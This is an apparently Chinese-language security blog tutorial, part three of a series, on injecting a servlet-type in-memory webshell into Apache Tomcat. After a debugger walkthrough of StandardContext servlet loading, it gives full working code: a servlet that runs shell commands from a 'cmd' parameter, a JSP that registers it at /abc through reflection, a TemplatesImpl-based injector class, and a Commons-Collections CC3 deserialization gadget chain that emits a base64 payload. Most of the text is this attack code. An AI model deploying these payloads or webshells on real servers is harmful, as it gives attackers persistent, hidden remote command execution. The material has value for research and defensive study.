Tomcat内存马(三)


tomcat内存马第三式 servlet型内存马

三大件的最后一件,servlet

调试

同样地,web.xml里添加servlet,如果不知道怎么添加的可以看上一期,简单写一个demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.Err0r233;


import javax.servlet.Servlet;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

@WebServlet("/hello")
public class TestServlet2 extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.setContentType("text/html");
PrintWriter out = resp.getWriter();
out.println("<h1>" + "Hello World" + "<h1>");
}

}

StandardContext打断点,看看怎么创建servlet的,在startInternal下打断点,看到这段报错,可以推断出前面就是添加servlet的函数,不然为什么出错的时候会说servletFail呢

其实这一段的前面已经完成了将所有servlet加载到context的children当中,而这个findChildren()的代码如下:

1
2
3
4
5
6
@Override
public Container[] findChildren() {
synchronized (children) {
return children.values().toArray(new Container[0]);
}
}

它会返回children的值,其实这个findChildren就是把所有负责管理servletwrapper传入loadOnStartup

跟进loadOnStartup,可以得到如下的结果

这一段将获得的children变成wrapper,再根据wrapper获取到loadOnStartup,然后根据loadOnStartup的key作为顺序,判断是否为null,然后将wrapper存放到list中

其实这一步获取到的key是指servlet的启动顺序

在每个Servlet的启动顺序在web.xml中,如果没有声明 load-on-startup 属性(默认为-1),则该Servlet不会被动态添加到容器

接下来对list里的wrapper进行加载wrapper(wrapper.load)

跟进这个load函数,查看如何装载的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public synchronized void load() throws ServletException {
instance = loadServlet();

if (!instanceInitialized) {
initServlet(instance);
}

if (isJspServlet) {
StringBuilder oname = new StringBuilder(getDomain());

oname.append(":type=JspMonitor");

oname.append(getWebModuleKeyProperties());

oname.append(",name=");
oname.append(getName());

oname.append(getJ2EEKeyProperties());

try {
jspMonitorON = new ObjectName(oname.toString());
Registry.getRegistry(null, null).registerComponent(instance, jspMonitorON, null);
} catch (Exception ex) {
log.warn(sm.getString("standardWrapper.jspMonitorError", instance));
}
}
}

关键代码是instance = loadServlet();

跟进loadServlet,查看怎么加载的

可以看到这里通过servletClass来装载,装载完所有的Servlet的时候,就会根据具体请求进行初始化、调用、销毁等操作

1
2
3
4
装载:启动服务器时加载Servlet的实例
初始化:调用init(),常在web服务器启动时,或者从web服务器接收请求时,又或者在二者之间的某个时刻时被调用
调用:调用servlet对应的service()。从第一次访问开始都是只调用doGet()或者doPost()
销毁:destroy方法销毁实例

梳理一下,在加载servlet的时候用到了findChildren,跟进之后发现findChildren其实是通过wrapper返回的。又因为加载servlet的时候利用到的wrapper.load()加载,所以我们得找到能够添加wrapper的函数

这个时候又因为wrapperfindChildren()得到,所以变相转到寻找能够添加children的函数,于是找到下面这个函数ContainerBase#addChild

其实是因为StandardContext的addChild指向的是其父类的addChild才找到这里的

看这个addChild,通过调用addChildInternal添加child

然后就是会找mapping映射添加了,所以我们还得找映射(对应上图的addServletMappingDecoded)

实现

步骤如下:

  • 创建恶意servlet并用wrapper封装
  • 利用addChild添加这个wrapper
  • 添加映射

恶意servlet:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {

}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {

}
};

通过反射获取StandardContext,老熟人了

1
2
3
4
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext stdcontext = (StandardContext) req.getContext();

添加一个关于该恶意servlet的wrapper,代码如下:

1
2
3
4
5
6
Wrapper newWrapper = stdcontext.createWrapper();
String name = servlet.getClass().getSimpleName();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());

最后添加child和添加映射(通过addServletMappingDecoded添加)

1
2
stdcontext.addChild(newWrapper);
stdcontext.addServletMappingDecoded("/abc", name);

jsp页面如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.PrintWriter" %>
<%!
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {

}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {

}
};
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext stdcontext = (StandardContext) req.getContext();
%>
<%
Wrapper newWrapper = stdcontext.createWrapper();
String name = servlet.getClass().getSimpleName();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
%>
<%
stdcontext.addChild(newWrapper);
stdcontext.addServletMappingDecoded("/abc", name);
%>

反序列化实现

众所周知我更喜欢打反序列化的payload,但是奈何我没有搜到

所以只能根据上一期filter的马来改一下实现看看了,找猫画虎即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
package com.Err0r233;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Wrapper;
import org.apache.catalina.connector.Request;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;

public class ServletEvil extends AbstractTranslet implements Servlet {

static {
try{
Class appDispatcherClass = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
Field wrapField = appDispatcherClass.getDeclaredField("WRAP_SAME_OBJECT");
wrapField.setAccessible(true);
//修改final
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
// 把指定的field中的final修饰符去掉
modifiersField.setInt(wrapField, wrapField.getModifiers() & ~Modifier.FINAL);

Class appFilterChainClass = Class.forName("org.apache.catalina.core.ApplicationFilterChain");

Field lastServicedRequestField = appFilterChainClass.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = appFilterChainClass.getDeclaredField("lastServicedResponse");
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);

ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(appFilterChainClass);
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(appFilterChainClass);


if (!wrapField.getBoolean(appDispatcherClass) || lastServicedRequest == null || lastServicedResponse == null) {
wrapField.set(null, true);
lastServicedRequestField.set(null, new ThreadLocal());
lastServicedResponseField.set(null, new ThreadLocal());
}else {
ServletRequest servletRequest = lastServicedRequest.get();
ServletResponse servletResponse = lastServicedResponse.get();
Servlet servlet = new ServletEvil();
Field reqF = servletRequest.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(servletRequest);
StandardContext stdcontext = (StandardContext) req.getContext();

Wrapper newWrapper = stdcontext.createWrapper();
String name = servlet.getClass().getSimpleName();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());

stdcontext.addChild(newWrapper);
stdcontext.addServletMappingDecoded("/abc", name);

servletResponse.getWriter().println("inject successfully");
}


}catch (Exception e){e.printStackTrace();}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
@Override
public void init(ServletConfig servletConfig) throws ServletException {

}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {

}
}

cc3测一下效果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
package com.Err0r233;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class clz = templates.getClass();
Field nameField = clz.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");

byte[] bytecode = Files.readAllBytes(Paths.get("D:\\developJava\\tomcatmemshell\\target\\classes\\com\\Err0r233\\ServletEvil.class"));
byte[][] codes = {bytecode};

Field bytecodeField = clz.getDeclaredField("_bytecodes");
bytecodeField.setAccessible(true);
bytecodeField.set(templates, codes);

Field tfactoryField = clz.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

//templates.newTransformer();
/*Transformer[] transformers = {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);*/

//chainedTransformer.transform(1);

//ysoserial里的CC3

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});


Transformer[] transformers = {
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AIHConstructor = c.getDeclaredConstructor(Class.class, Map.class);
AIHConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) AIHConstructor.newInstance(Override.class, lazyMap);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

Object o = AIHConstructor.newInstance(Override.class, mapProxy);

Serialize(o);



}
private static void Serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
objectOutputStream.writeObject(obj);
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
objectOutputStream.close();
}
private static void UnSerialize() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.txt"));
objectInputStream.readObject();
objectInputStream.close();
}
}

同样地 打两次payload:

servlet型的内存马与listener型的和filter型的不同,它必须通过我们写好的映射来访问,比如我这边写的映射就是/abc

1
stdcontext.addServletMappingDecoded("/abc", name);

测试结果如下: